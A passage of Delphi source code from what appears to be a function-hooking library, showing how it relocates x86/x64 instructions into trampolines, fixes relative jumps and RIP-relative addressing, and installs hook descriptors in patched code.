  case RelSize of
    ops8bits:
      begin
        Opcodes[0] := $70 or OpCode;
      end;
    ops16bits:
      begin
        Opcodes[0] := opPrfOpSize;
        Opcodes[1] := $0F;
        Opcodes[2] := $80 or OpCode;
      end;
    ops32bits:
      begin
        Opcodes[0] := $0F;
        Opcodes[1] := $80 or OpCode;
      end;
  end;
  Result := PDWORD(@Opcodes[0])^;
end;

function CorrectJ(PInst: PInstruction; NewAddr: PByte): Integer;
const
  { Convert LOOP instruction to relative word jcc ! }
  LOOP_To_JccZ: array [0 .. 3] of WORD = ($850F, $840F, $840F, $9090);
  { Convert LOOP instruction to relative byte jcc ! }
  LOOP_To_JccB: array [0 .. 3] of Byte = ($75, $74, $75, $90);
var
  Offset: Int64;
  POpc: PByte;
  NOpc: DWORD;
  PQ: PByte;
  Relsz: Integer;
  JmpType: Integer;
  JmpSize: Integer;
begin
  PQ := NewAddr;
  JmpSize := 0;
  GetMem(POpc, MAX_INST_LENGTH_N + 1);
  try
    // Opcsz := GetInstOpCodes(PInst, POpc);
    Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 6);
    Relsz := GetInt64Size(Offset);
{$IFDEF CPUX64}
    if Relsz = ops16bits then
      Relsz := ops32bits;
{$ENDIF CPUX64}
    if PInst^.OpType and otJcc = 0 then
    begin
      { Not Jcc ! }
      if PInst^.OpCode in [$E0 .. $E2] then
      begin
        { LOOPNE/LOOPZ/LOOP }
        if Relsz = ops8bits then
        begin
          if PInst^.Prefixes and Prf_AddrSize <> 0 then
          begin
            PQ^ := opPrfAddrSize;
            Inc(PQ);
          end;
          PQ^ := PInst^.OpCode;
          Inc(PQ);
          PQ^ := Int8(Offset);
          Inc(PQ);
        end
        else
          case PInst^.AddrMode of
            am16:
              begin
                { Dec CX ! }
{$IFDEF CPUX64}
                { . $49 result in REX
                  ==> Use $FF group !
                }
                PQ^ := opPrfOpSize;
                Inc(PQ);
                PQ^ := $FF;
                Inc(PQ);
                PQ^ := $C9;
                Inc(PQ);
{$ELSE !CPUX64}
                PQ^ := opPrfOpSize;
                Inc(PQ);
                PQ^ := $49;
                Inc(PQ);
{$ENDIF CPUX64}
              end;
            am32:
              begin
                { Dec ECX ! }
{$IFDEF CPUX64}
                PQ^ := $FF;
                Inc(PQ);
                PQ^ := $C9;
                Inc(PQ);
{$ELSE !CPUX64}
                PQ^ := $49;
                Inc(PQ);
{$ENDIF CPUX64}
              end;
            am64:
              begin
                { Dec RCX ! }
                PQ^ := $48; // REX.W = True !
                Inc(PQ);
                PQ^ := $FF;
                Inc(PQ);
                PQ^ := $C9;
                Inc(PQ);
              end;
          end;
        case Relsz of
          ops16bits:
            begin
              Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 5);
              PQ^ := opPrfOpSize;
              Inc(PQ);
              PWord(PQ)^ := LOOP_To_JccZ[PInst^.OpCode and 3];
              Inc(PQ, 2);
              PInt16(PQ)^ := Int16(Offset);
              Inc(PQ, 2);
            end;
          ops32bits:
            begin
              Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 6);
              PWord(PQ)^ := LOOP_To_JccZ[PInst^.OpCode and 3];
              Inc(PQ, 2);
              PInt32(PQ)^ := Int32(Offset);
              Inc(PQ, 4);
            end;
          ops64bits:
            begin
              {
                Dec RCX
                Jcc @Tmp
                Jmp @NextInst
                @Tmp:
                Jmp @LoopDst
              }
              { Insert Jcc ! }
              PQ^ := LOOP_To_JccB[PInst^.OpCode and 3];
              Inc(PQ);
              PQ^ := 2;
              Inc(PQ);
              { Insert Jmp NextInst }
              PQ^ := opJmpRelb;
              Inc(PQ);
              PQ^ := 14;
              Inc(PQ);
              { Insert Jmp @LoopDst }
              InsertJmp(PQ, PInst.Branch.Target, JT_RIPZ);
              Inc(PQ, 14);
            end;
        end;
      end
      else if PInst^.OpCode = $E3 then
      begin
        { JCXZ/JECX/JRCX }
        if Relsz = ops8bits then
        begin
          if PInst^.Prefixes and Prf_AddrSize <> 0 then
          begin
            PQ^ := opPrfAddrSize;
            Inc(PQ);
          end;
          PQ^ := PInst^.OpCode;
          Inc(PQ);
          PQ^ := Int8(Offset);
          Inc(PQ);
        end
        else
          case PInst^.AddrMode of
            am16:
              begin
                { TEST CX,CX }
                PQ^ := opPrfOpSize;
                Inc(PQ);
                PQ^ := opTestb;
                Inc(PQ);
                PQ^ := $C9; // ModRm [Mod = 3; Reg = Rm = CX = 1]
                Inc(PQ);
              end;
            am32:
              begin
                { TEST ECX,ECX }
                PQ^ := opTestb;
                Inc(PQ);
                PQ^ := $C9;
                Inc(PQ);
              end;
            am64:
              begin
                { TEST RCX,RCX }
                PQ^ := $48; // REX.W = True !
                Inc(PQ);
                PQ^ := opTestb;
                Inc(PQ);
                PQ^ := $C9;
                Inc(PQ);
              end;
          end;
        case Relsz of
          ops16bits:
            begin
              {
                TEST CX,CX
                JZ @Dst
              }
              Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 5);
              PQ^ := opPrfOpSize;
              Inc(PQ);
              PQ^ := $0F;
              Inc(PQ);
              PQ^ := $84; // JZ !
              Inc(PQ);
              PInt16(PQ)^ := Int16(Offset);
              Inc(PQ, 2);
            end;
          ops32bits:
            begin
              {
                TEST ECX,ECX
                JZ @Dst
              }
              Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 6);
              PQ^ := $0F;
              Inc(PQ);
              PQ^ := $84; // JZ !
              Inc(PQ);
              PInt32(PQ)^ := Int32(Offset);
              Inc(PQ, 4);
            end;
          ops64bits:
            begin
              {
                TEST RCX,RCX
                JZ @Tmp
                Jmp @NextInst
                @Tmp:
                Jmp @Dst
              }
              { Insert JZ ! }
              PQ^ := $74;
              Inc(PQ);
              PQ^ := 2;
              Inc(PQ);
              { Insert Jmp NextInst }
              PQ^ := opJmpRelb;
              Inc(PQ);
              PQ^ := 14;
              Inc(PQ);
              { Insert Jmp @Dst }
              InsertJmp(PQ, PInst.Branch.Target, JT_RIPZ);
              Inc(PQ, 14);
            end;
        end;
      end;
    end
    else
    begin
      { Jcc ! }
      NOpc := GetJccOpCode(PInst, Relsz);
      case Relsz of
        ops8bits:
          begin
            Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 2);
            PInt8(PQ)^ := UInt8(NOpc);
            Inc(PQ);
            PInt8(PQ)^ := Int8(Offset);
            Inc(PQ);
          end;
        ops16bits:
          begin
            Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 5);
            PUInt32(PQ)^ := UInt32(NOpc);
            Inc(PQ, 3);
            PInt16(PQ)^ := Int16(Offset);
            Inc(PQ, 2);
          end;
        ops32bits:
          begin
            Offset := Int64(Int64(PInst^.Branch.Target) - Int64(PQ) - 6);
            PUInt16(PQ)^ := UInt16(NOpc);
            Inc(PQ, 2);
            PInt32(PQ)^ := Int32(Offset);
            Inc(PQ, 4);
          end;
        ops64bits:
          begin
            {
              Unfortunately there is no Jcc Rel 64bits !

              ===>Original implementation<===
              test eax,eax
              jz @DstAddr

              ===>New implementation<===
              test eax,eax
              Q:      jz @tmp
              Q+2:    jmp @NextInst
              Q+4:    @tmp:
              Q+4:    jmp @DstAddr
              Q+4+jmpsize:        [DstAddr]
              @NextInstruction:
            }

            { jz @tmp is guaranteed to be 2 Bytes in length ! }
            { Trampo.NextInstruction = Q + 4 + jmp @DstAddr Size }
            PQ^ := PInst^.OpCode;
            Inc(PQ);
            PQ^ := 2;
            Inc(PQ);
            JmpType := GetJmpType(PByte(NativeInt(NewAddr) + 4), PInst^.Branch.Target, PByte(NativeInt(NewAddr) + 4 + 6));
            JmpSize := JmpTypeToSize[JmpSize];
            if JmpType > JT_REL32 then
              Inc(JmpSize, SizeOf(Pointer));

            { Jmp To Next Valid Instruction ! }
            PQ^ := opJmpRelb;
            Inc(PQ);
            PQ^ := JmpSize;
            Inc(PQ);
            InsertJmp(PByte(NativeInt(NewAddr) + 4), PInst^.Branch.Target, JmpType, PByte(NativeInt(NewAddr) + 4 + 6));
            Inc(PQ, JmpSize);
          end;
      end;
    end;
  finally
    FreeMem(POpc);
  end;
  Result := Integer(NativeInt(PQ) - NativeInt(NewAddr));
  if Result = 00 then
  begin
    Move(PInst^.Addr^, NewAddr^, PInst^.InstSize);
    Result := PInst^.InstSize;
  end;
end;

function MakeModRm(iMod, Reg, Rm: Byte): Byte; {$IFDEF MustInline}inline; {$ENDIF}
begin
  Result := (iMod shl 6) or (Reg shl 3) or (Rm);
end;

function CorrectRipDisp(PInst: PInstruction; NewAddr: PByte): Integer;
var
  Offset: Int64;
  P: PByte;
  rReg: Byte;
  POpc: PByte;
  pMR: PByte;
  pFrst: PByte;
  L: ShortInt;
begin
  pFrst := NewAddr;
  P := PInst^.NextInst;
  {
    If AddressMode is 32-bits :
    ===> EIP + Disp32 !
    else
    If AddressMode is 64-bits:
    ===> RIP + Disp32 !
  }
  if PInst^.AddrMode = am32 then
    P := PByte(UInt64(P) and $FFFFFFFF);

  P := PByte(Int64(P) + Int64(PInst^.Disp.Value));

  Offset := Int64(Int64(P) - Int64(NewAddr) - PInst^.InstSize);
  if Int32(Offset) <> Offset then
  begin
    rReg := rEAX;
    if PInst^.ModRm.Flags and mfUsed <> 0 then
    begin
      Assert(PInst^.Disp.Flags and dfRip <> 0);
      if PInst^.ModRm.Reg = rReg then
        rReg := rECX;

      { PUSH UsedReg }
      PByte(NewAddr)^ := $50 + (rReg and $7);
      Inc(NewAddr);

{$IFDEF CPUX64}
      PByte(NewAddr)^ := $48; // REX.W!
      Inc(NewAddr);
{$ENDIF CPUX64}
      { MOV REG,Imm(NativeInt) }
      PByte(NewAddr)^ := $B8 + (rReg and $7);
      Inc(NewAddr);
      PNativeInt(NewAddr)^ := NativeInt(P);
      Inc(NewAddr, SizeOf(NativeInt));

      { Set the original instruction opcodes }
      POpc := GetMemory(MAX_INST_LENGTH_N);
      L := GetInstOpCodes(PInst, POpc);

      Move(POpc^, NewAddr^, L);
      Inc(NewAddr, L);
      pMR := NewAddr;
      if (PInst^.OpKind and kGrp <> 0) or (PInst^.OpTable = tbFPU) then
        Dec(pMR);

      PByte(pMR)^ := MakeModRm($00, PInst^.ModRm.Reg, rReg);
      Inc(pMR);
      NewAddr := pMR;

      { POP UsedReg }
      PByte(NewAddr)^ := $58 + (rReg and $7);
      Inc(NewAddr);

      FreeMemory(POpc);
      Result := (NativeInt(NewAddr) - NativeInt(pFrst));
      Exit;
    end
    else
      raise InterceptException.Create(SErrorRipDisp);
  end;
  Move(PInst^.Addr^, NewAddr^, PInst^.InstSize);
  Inc(NewAddr, PInst^.InstSize);
  PInt32(NativeInt(NewAddr) - SizeOf(Int32))^ := Int32(Offset);

  Result := PInst^.InstSize;
end;

function CorrectJmpRel(PInst: PInstruction; NewAddr: PByte): Integer;
var
  JmpType: Byte;
begin
  JmpType := GetJmpType(NewAddr, PInst^.Branch.Target, PByte(NativeInt(NewAddr) + 6));
  InsertJmp(NewAddr, PInst^.Branch.Target, JmpType, PByte(NativeInt(NewAddr) + 6));
  Result := JmpTypeToSize[JmpType];
end;

function CorrectCallRel(PInst: PInstruction; NewAddr: PByte): Integer;
var
  Offset: Int64;
  Relsz: Byte;
  P: PByte;
begin
  P := NewAddr;
  Offset := Int64(Int64(PInst^.Branch.Target) - Int64(P) - 6);
  Relsz := GetInt64Size(Offset);
{$IFDEF CPUX64}
  { Only 32-bits relative offset is supported on x64! }
  if Relsz < ops32bits then
    Relsz := ops32bits;
{$ELSE !CPUX64}
  { Only 16/32-bits relative offset is supported on x32! }
  if Relsz < ops16bits then
    Relsz := ops32bits;
{$ENDIF CPUX64}
  case Relsz of
    ops16bits:
      begin
        Offset := Int64(Int64(PInst^.Branch.Target) - Int64(P) - 4);
        P^ := opPrfOpSize;
        Inc(P);
        P^ := $E8;
        Inc(P);
        PInt16(P)^ := Int16(Offset);
        Inc(P, 2);
      end;
    ops32bits:
      begin
        Offset := Int64(Int64(PInst^.Branch.Target) - Int64(P) - 5);
        P^ := $E8;
        Inc(P);
        PInt32(P)^ := Int32(Offset);
        Inc(P, 4);
      end;
    ops64bits:
      begin
        {
          64-bits Relative offset is not supported
          ==> Map to a new opcode !
        }
        {
          CALL [02]
          Jmp @NextValidInstruction
          dq : Call dst address !
          @NextValidInstruction:

        }
        P^ := $FF; // Group 5 !
        Inc(P);
        {
          ModRm.Mod = 00
          ModRm.Reg = 02
          ModRm.Rm = 05
          ==> ModRm = $15 !
        }
        P^ := MakeModRm($00, $02, $05);
        Inc(P);
        P^ := 2;
        Inc(P, 4);

        { Jmp Next Instruction ! }
        P^ := opJmpRelb;
        Inc(P);
        P^ := $08;
        Inc(P);
        PUInt64(P)^ := UInt64(PInst^.Branch.Target);
        Inc(P, SizeOf(UInt64));
      end;
  end;
  Result := NativeInt(P) - NativeInt(NewAddr);
  if Result = 0 then
  begin
    Move(PInst^.Addr^, P^, PInst^.InstSize);
    Result := PInst^.InstSize;
  end;
end;

function MapInsts(Addr, NewAddr: PByte; Size: Integer): Integer;
var
  P, Q: PByte;
  PInst: PInstruction;
  sz, iz, nz: Integer;
begin
  { Map Data from Addr to NewAddr ! }
  { This function will fix Relative offset & RIP displacement . }
  Result := 0;
  sz := 0;
  P := Addr;
  Q := NewAddr;
  PInst := GetMemory(SizeOf(TInstruction));
  FillChar(PInst^, SizeOf(TInstruction), #0);

  PInst^.Archi := CPUX;
  PInst^.NextInst := P;
  PInst^.VirtualAddr := nil;

  while sz < Size do
  begin
    PInst^.Addr := PInst^.NextInst;
    iz := fDecodeInst(PInst);
    nz := iz;
    if PInst^.Disp.Flags and (dfUsed or dfRip) = (dfUsed or dfRip) then
      nz := CorrectRipDisp(PInst, Q)
    else if (PInst^.Branch.Falgs and bfRel = bfRel) then
    begin
      { Instruction use relative offset }
      if (PInst^.OpType = otJMP) then
        nz := CorrectJmpRel(PInst, Q)
      else if (PInst^.OpType = otCALL) then
        nz := CorrectCallRel(PInst, Q)
      else
        nz := CorrectJ(PInst, Q)
    end
    else
      Move(PInst^.Addr^, Q^, nz);
    Inc(Q, nz);
    Inc(Result, nz);
    Inc(sz, iz);
  end;
  FreeMemory(PInst);
end;

{$IFNDEF FPC}
{$WARN COMPARISON_TRUE OFF}
{$ENDIF FPC}

function GetInstArithmeticType(PInst: PInstruction): Integer;
  function IsInstAdd(PInst: PInstruction): Boolean;
  begin
    Result := False;
    if PInst^.OpTable = tbOneByte then
    begin
      if (PInst^.OpCode >= $00) and (PInst^.OpCode < $06) then
      begin
        Result := (True);
        Exit;
      end;
    end;
    if (PInst^.OpKind = kGrp) and (PInst^.ModRm.Reg = $00) then
    begin
      if (PInst^.OpCode > $7F) and (PInst^.OpCode < $84) then
      begin
        Result := (True);
        Exit;
      end;
    end;
  end;
  function IsInstSub(PInst: PInstruction): Boolean;
  begin
    Result := False;
    if PInst^.OpTable = tbOneByte then
    begin
      if (PInst^.OpCode > $27) and (PInst^.OpCode < $2E) then
      begin
        Result := (True);
        Exit;
      end;
    end;
    if (PInst^.OpKind = kGrp) and (PInst^.ModRm.Reg = $05) then
    begin
      if (PInst^.OpCode > $7F) and (PInst^.OpCode < $84) then
      begin
        Result := (True);
        Exit;
      end;
    end;
  end;
  function IsInstInc(PInst: PInstruction): Boolean;
  begin
    Result := False;
    if (PInst^.Archi = CPUX32) and (PInst^.OpTable = tbOneByte) then
    begin
      if (PInst^.OpCode >= $40) and (PInst^.OpCode <= $47) then
      begin
        Result := (True);
        Exit;
      end;
    end;
    if (PInst^.OpKind = kGrp) and (PInst^.ModRm.Reg = $00) then
    begin
      if (PInst^.OpCode = $FE) or (PInst^.OpCode = $FF) then
      begin
        Result := (True);
        Exit;
      end;
    end;
  end;
  function IsInstDec(PInst: PInstruction): Boolean;
  begin
    Result := False;
    if (PInst^.Archi = CPUX32) and (PInst^.OpTable = tbOneByte) then
    begin
      if (PInst^.OpCode >= $48) and (PInst^.OpCode <= $4F) then
      begin
        Result := (True);
        Exit;
      end;
    end;
    if (PInst^.OpKind = kGrp) and (PInst^.ModRm.Reg = $01) then
    begin
      if (PInst^.OpCode = $FE) or (PInst^.OpCode = $FF) then
      begin
        Result := (True);
        Exit;
      end;
    end;
  end;

begin
  { Return Instruction Arithmetic (+ or - or ..) }
  Result := arNone;
  if IsInstAdd(PInst) or IsInstInc(PInst) then
    Result := (arAdd)
  else if IsInstSub(PInst) or IsInstDec(PInst) then
    Result := (arSub);
end;
{$IFNDEF FPC}
{$WARN COMPARISON_TRUE ON}
{$ENDIF FPC}

function EvalArith(Arith: Integer; Value: NativeInt; Offset: NativeInt): NativeInt;
begin
  Result := Value;
  case Arith of
    arAdd:
      Inc(Result, Offset);
    arInc:
      Inc(Result);
    arSub:
      Dec(Result, Offset);
    arDec:
      Dec(Result);
  end;
end;

{$HINTS OFF}

function InterfaceToObj(const AIntf): TObject;
const
  {
    Delphi insert QueryInterface,_AddRef,_Release methods
    as the last functions in the code entry.
    => We must skip them to point to the first function declared in the interface.
  }
  Offset = SizeOf(Pointer) * 3;
{$IFDEF CPUX64}
  ObjReg = rECX;
{$ELSE !CPUX64}
  ObjReg = rEAX;
{$ENDIF CPUX64}
var
  Pvt, PCode: PByte;
  Inst: TInstruction;
  PObj: PByte;
  imm: Int64;
  Arith: Integer;
  Skip: Boolean;
  sReg: ShortInt;
begin

  if not Assigned(@AIntf) then
  begin
    Result := nil;
    Exit;
  end;

  sReg := -1;
  PObj := PByte(AIntf);
  FillChar(Inst, SizeOf(TInstruction), #00);
  Inst.Archi := CPUX;
  Pvt := PPointer(AIntf)^; // vTable !
  PCode := PPointer(NativeInt(Pvt) + Offset)^; // Code Entry !
  Inst.NextInst := PCode;
  {
    At the top of code entry delphi will generate :
    int 3
    add/sub eax/rcx,offset <===
    jmp FirstFunction
  }

  while True do
  begin
    Inst.imm.Value := 0;
    Inst.Addr := Inst.NextInst;
    fDecodeInst(@Inst);
    { Keep looping until JMP/RET ! }
    if (Inst.Branch.Falgs and bfUsed <> 0) or (Inst.OpType = otRET) then
      break;

    Arith := GetInstArithmeticType(@Inst);
    Skip := (Arith = arNone);

    if not Skip then
    begin
{$IFDEF CPUX86}
      if Inst.ModRm.iMod <> $03 then
      begin
        {
          ====> stdcall ! <====
          If the method (declared in interface)
          calling convention is stdcall,
          Delphi will generate :
          add/sub [esp+offset],imm !
        }
        if Inst.Sib.Flags and sfUsed <> 0 then
          sReg := Inst.Sib.Index
        else
          sReg := Inst.ModRm.Rm;
        Skip := not(sReg = rESP);
      end
      else
{$ENDIF CPUX86}
      begin
        if (Inst.ModRm.Flags and mfUsed <> 0) then
          Skip := not((Inst.ModRm.iMod = $03) and (Inst.ModRm.Rm = ObjReg))
        else if Arith in [arInc, arDec] then
          { Is Inc/Dec EAX/RCX ? }
          Skip := (Inst.OpCode and $07 <> ObjReg);
      end;
    end;

    if not Skip then
    begin
      imm := Inst.imm.Value;
      PObj := PByte(EvalArith(Arith, NativeInt(PObj), imm));
    end;
  end;

  Result := TObject(PObj);
end;

{$HINTS ON}

function GetInterfaceMethodPtrByIndex(const PInterface; MethodIndex: Integer): PByte;
var
  Pvt: PPointer;
  P: PPointer;
  PDst: PByte;
  Inst: TInstruction;
  i: Integer;
begin
  {
    Return original method ptr
    => Return first instruction that was
    implemented on Interface object !
  }
  FillChar(Inst, SizeOf(TInstruction), #00);
  Inst.Archi := CPUX;
  Pvt := PPointer(PInterface)^; // Virtual Table !
  P := Pvt;
  Inc(P, MethodIndex);
  P := PPointer(P)^;
  PDst := PByte(P);
  Inst.NextInst := PByte(P);
  for i := 0 to 3 do
  begin
    Inst.Addr := Inst.NextInst;
    fDecodeInst(@Inst);
    if Assigned(Inst.Branch.Target) then
    begin
      PDst := Inst.Branch.Target;
      break;
    end;
  end;
  Result := PDst;
end;

{$IFDEF SUPPORTS_RTTI}

function GetMethodPtrFromObjByName(Obj: TObject; const MethodName: String): Pointer;
var
  LCtx: TRttiContext;
  LType: TRttiType;
  LMethods: TArray<TRttiMethod>;
  LMethod: TRttiMethod;
begin
  Result := nil;
  if (not Assigned(Obj)) or (MethodName = EmptyStr) then
    Exit;

  LCtx := TRttiContext.Create;
  LType := LCtx.GetType(Obj.ClassType);
  LMethods := LType.GetMethods;
  for LMethod in LMethods do
  begin
    if SameText(LMethod.Name, MethodName) then
    begin
      Result := LMethod.CodeAddress;
      Exit;
    end;
  end;
end;

function GetInterfaceMethodPtrByName(const PInterface; const MethodName: String): PByte;
var
  Obj: TObject;
begin
  Result := nil;
  if (not Assigned(@PInterface)) or (MethodName = EmptyStr) then
    Exit;
  Obj := InterfaceToObj(PInterface);
  if Assigned(Obj) then
  begin
    Result := GetMethodPtrFromObjByName(Obj, MethodName);
  end;
end;

{$ENDIF  SUPPORTS_RTTI}

function GetRoot(P: PByte): PByte;
var
  Inst: TInstruction;
begin
  Result := P;
  FillChar(Inst, SizeOf(TInstruction), #00);
  Inst.Addr := P;
  Inst.Archi := CPUX;
  Inst.VirtualAddr := nil;
  {
    While the opcode is jmp and the jmp destination
    address is known get the next jmp .
  }
  fDecodeInst(@Inst);
  if (Inst.OpType = otJMP) and (Assigned(Inst.Branch.Target)) then
    Result := GetRoot(Inst.Branch.Target);
end;

function IsValidDescriptor(P: PByte): Boolean;
begin
  Result := CompareMem(P, PByte(@DscrSig[0]), SizeOf(DscrSig));
end;

function GetDescriptor(P: PByte): PDescriptor;
var
  Inst: TInstruction;
  function IsDscrpInst(PInst: PInstruction): Boolean;
  begin
    Result := Assigned(PInst.Branch.Target) or IsNop(PInst.Addr, 6);
  end;

begin
  Result := nil;
  FillChar(Inst, SizeOf(TInstruction), #00);
  Inst.Archi := CPUX;
  Inst.VirtualAddr := nil;
  { Find last JMP ! }
  P := GetRoot(P);
  Inst.Addr := P;
  fDecodeInst(@Inst);

  { The first instruction must be NOP ! }
  if Inst.OpCode = opNop then
  begin
    Inst.Addr := Inst.NextInst;
    fDecodeInst(@Inst);
    if IsDscrpInst(@Inst) then
    begin
      Inc(P); // Skip CodeEntry !
      Inc(P, SizeOf(TJmpMem) * (MAX_HOOKS + 1)); // Skip JmpMems !
      { Go to the Top ! }
      Dec(P, SizeOf(TDescriptor));
      if IsValidDescriptor(P) then
        Result := PDescriptor(P);
    end;
  end;
end;

function CreateNewDescriptor(): PDescriptor;
begin
  { Create a new descriptor tables ! }
  Result := AllocMem(SizeOf(TDescriptor));
  FillNop(Result^, SizeOf(TDescriptor), False);
  FillNop(Result^.JmpMems[0], SizeOf(TJmpMem) * (MAX_HOOKS + 1), True);

  { A valid descriptor have a valid signature . }
  CopyMemory(Result, PByte(@DscrSig[0]), DscrSigSize);
  Result^.nHook := 0;
  Result^.Flags := 0;
  Result^.ExMem := nil;
end;

procedure InsertDescriptor(PAt: PByte; PDscr: PDescriptor);
const
  { JMP from Target to Code Entry }
  kJmpCE = 1;
  { JMP from Target to Temporal address than JMP to Code Entry }
  kJmpTmpJmpCE = 2;
  { JMP from Target to Temporal address than JMP (Rip Zero) to Code Entry }
  kJmpTmpJmpRipZCE = 3;
  { JMP (Rip Zero) from Target to Code Entry }
  kJmpRipZCE = 4;

var
  fJmpType: Byte; { First JMP }
{$IFDEF CPUX64}
  sJmpType: Byte; { Second JMP (if used !) }
  Tmp: PByte;
{$ENDIF CPUX64}
  JmpKind: Byte;
  P, T: PByte;
  JmpSize: Byte;
  Inst: TInstruction;
  Sb: Byte;
  OrgAccess: DWORD;
  Tsz: Integer;
  PExMem: PByte;
  LPExMem: PByte;
begin
  Sb := 0;
  P := PAt;
  PDscr^.OrgPtr := P;
  fJmpType := GetJmpType(P, @PDscr^.CodeEntry, @PDscr^.DscrAddr);
{$IFDEF CPUX64}
  Tmp := nil;
  PExMem := TryAllocMemAt(P, SizeOfAlloc, PAGE_EXECUTE_READWRITE);
  LPExMem := PExMem;
  sJmpType := JT_NONE;
  JmpKind := kJmpRipZCE;
  { Try to find the perfect jump instruction ! }
  {
    That's mean that we try to avoid using tJmpRelN on TargetProc .
    ==> Because it use more than 6 bytes in length .
  }
  if JmpTypeToSize[fJmpType] > 6 then
  begin
    Tmp := PExMem;
    Inc(PExMem, TmpSize);
    if Assigned(Tmp) then
    begin
      JmpKind := kJmpRipZCE;
      fJmpType := GetJmpType(P, Tmp, Tmp + 6);
      if JmpTypeToSize[fJmpType] < 7 then
      begin
        JmpKind := kJmpTmpJmpRipZCE;
        sJmpType := GetJmpType(Tmp, @PDscr^.CodeEntry, Tmp + 6 + 8);
        if JmpTypeToSize[sJmpType] < 7 then
          JmpKind := kJmpTmpJmpCE;
      end;
    end;
  end
  else
  begin
    JmpKind := kJmpCE;
  end;
{$ELSE !CPUX64}
  PExMem := TryAllocMemAt(nil, SizeOfAlloc, PAGE_EXECUTE_READWRITE);
  JmpKind := kJmpCE;
  LPExMem := PExMem;
{$ENDIF CPUX64}
  FillChar(Inst, SizeOf(TInstruction), #00);
  Inst.Archi := CPUX;
  Inst.NextInst := P;
  Inst.VirtualAddr := nil;

  JmpSize := JmpTypeToSize[fJmpType];

  while Sb < JmpSize do
  begin
    if Inst.OpType = otRET then
      raise InterceptException.Create(SErrorSmallFunctionSize);
    Inst.Addr := Inst.NextInst;
    Inc(Sb, fDecodeInst(@Inst));
  end;

  if Sb > TrampoSize then
    raise InterceptException.Create(SErrorBigTrampoSize);

  { Trampoline momory }
  T := PExMem;
  FillNop(T^, TrampoSize, False);

  PDscr^.Trampo := AllocMem(SizeOf(TTrampoInfo));
  PDscr^.Trampo^.PData := AllocMem(Sb + 6);
  FillNop(PDscr^.Trampo^.PData^, Sb + 6, False);
  { Save original target routine instruction . }
  Move(P^, PDscr^.Trampo^.PData^, Sb);
  PDscr^.Trampo^.Addr := T; // Pointer to the first trampoline instruction.
  PDscr^.Trampo^.Size := Sb; // Size of stolen instructions .

  Tsz := MapInsts(P, T, Sb);
  OrgAccess := SetMemPermission(P, Sb, PAGE_EXECUTE_READWRITE);
  try
    FillNop(P^, Sb, False);
    case JmpKind of
      kJmpCE:
        begin
          { A very good jump ! }
          {
            TargetProc :
            JMP @PDscr^.CodeEntry
          }
          InsertJmp(P, @PDscr^.CodeEntry, fJmpType, @PDscr^.DscrAddr);
        end;
{$IFDEF CPUX64}
      kJmpTmpJmpCE:
        begin
          {
            TargetProc :
            JMP @Tmp ==> Tmp is allocated nearly from TargetProc !

            Tmp:
            JMP @PDscr^.CodeEntry
          }
          InsertJmp(P, Tmp, fJmpType, Tmp + 6);
          InsertJmp(Tmp, @PDscr^.CodeEntry, sJmpType, Tmp + 6 + 8);
        end;
      kJmpTmpJmpRipZCE:
        begin
          {
            TargetProc :
            JMP @Tmp ==> Tmp is allocated nearly from TargetProc !

            Tmp:
            JMP @PDscr^.CodeEntry  ==> JT_RIPZ
          }
          InsertJmp(P, Tmp, fJmpType, Tmp + 6);
          InsertJmp(Tmp, @PDscr^.CodeEntry, JT_RIPZ, nil);
        end;
      kJmpRipZCE:
        begin
          {
            Not a good jump !

            TargetProc :
            JMP @PDscr^.CodeEntry  ==> JT_RIPZ
          }
          InsertJmp(P, @PDscr^.CodeEntry, JT_RIPZ, nil);
        end;
{$ENDIF CPUX64}
    end;

    {
      Insert a JMP instruction after the stolen instructions
      on the trampoline.
      ==> This JMP will return to TargetProc to allow
      executing originals instructions.
    }
{$IFDEF CPUX64}
    InsertJmp(T + Tsz, P + Sb, JT_RIPZ);
{$ELSE !CPUX64}
    InsertJmp(PByte(NativeInt(T) + Tsz), PByte(NativeInt(P) + Sb), JT_MEM32, PByte(NativeInt(T) + Tsz + 6));
{$ENDIF CPUX64}
    { Save LPExMem ==> we need it when deleting descriptor }
    PDscr^.ExMem := LPExMem;

    SetMemPermission(LPExMem, SizeOfAlloc, PAGE_EXECUTE_READWRITE);
    SetMemPermission(PDscr, SizeOf(TDescriptor), PAGE_EXECUTE_READWRITE);
  finally
    SetMemPermission(P, Sb, OrgAccess);
  end;
end;

procedure MadExceptFreeMem(P: Pointer);
var
  Page: Pointer;
  mbi: TMemoryBasicInformation;
  Permission: DWORD;
begin
  if InternalFuncs.VirtualQuery(P, mbi, SizeOf(mbi)) <> 0 then
  begin
    Page := mbi.BaseAddress;
    Permission := SetMemPermission(Page, SysInfo.dwPageSize, PAGE_READWRITE);
    FreeMem(P);
    SetMemPermission(Page, SysInfo.dwPageSize, Permission);
  end
  else
    FreeMem(P);
end;

function GetNextHookPtrFromTrampoline(TrampoLine: Pointer): PNextHook;
begin
  if Assigned(TrampoLine) then
  begin
    Result := PNextHook(NativeInt(TrampoLine) - SizeOf(TNextHook));
    if Result^.Signature = TrampolineSignature then
      Exit;
  end;
  raise DetourException.Create(SErrorInvalidTrampoline);
end;

function AddHook(PDscr: PDescriptor; InterceptProc: PByte; Param: Pointer; Options: TInterceptOptions): PByte;
var
  n: ShortInt;
  NxHook: PByte;
  LTlsRecursionLevelIndex: DWORD;
begin
  {
    Return a pointer to a function that can
    call next installed Hooks.
  }
  n := PDscr^.nHook;
  if n + 1 > MAX_HOOKS then
    raise InterceptException.Create(SErrorMaxHook);

  { Alloc memory for the NextHook ! }
  NxHook := AllocMem(TrampoSize);
  Result := NxHook;

  FillNop(Result^, TrampoSize, False);

  PNextHook(Result)^.PDscr := PDscr;
  PNextHook(Result)^.ID := n + 1;
  PNextHook(Result)^.threadid := GetCurrentThreadId();
  PNextHook(Result)^.Param := Param;
  PNextHook(Result)^.Signature := TrampolineSignature;
  PNextHook(Result)^.InterceptOptions := Options;
  if ioRecursive in Options then
  begin
    LTlsRecursionLevelIndex := TlsAlloc();
    if LTlsRecursionLevelIndex <> TLS_OUT_OF_INDEXES then
      PNextHook(Result)^.TlsRecursionLevelIndex := LTlsRecursionLevelIndex
    else
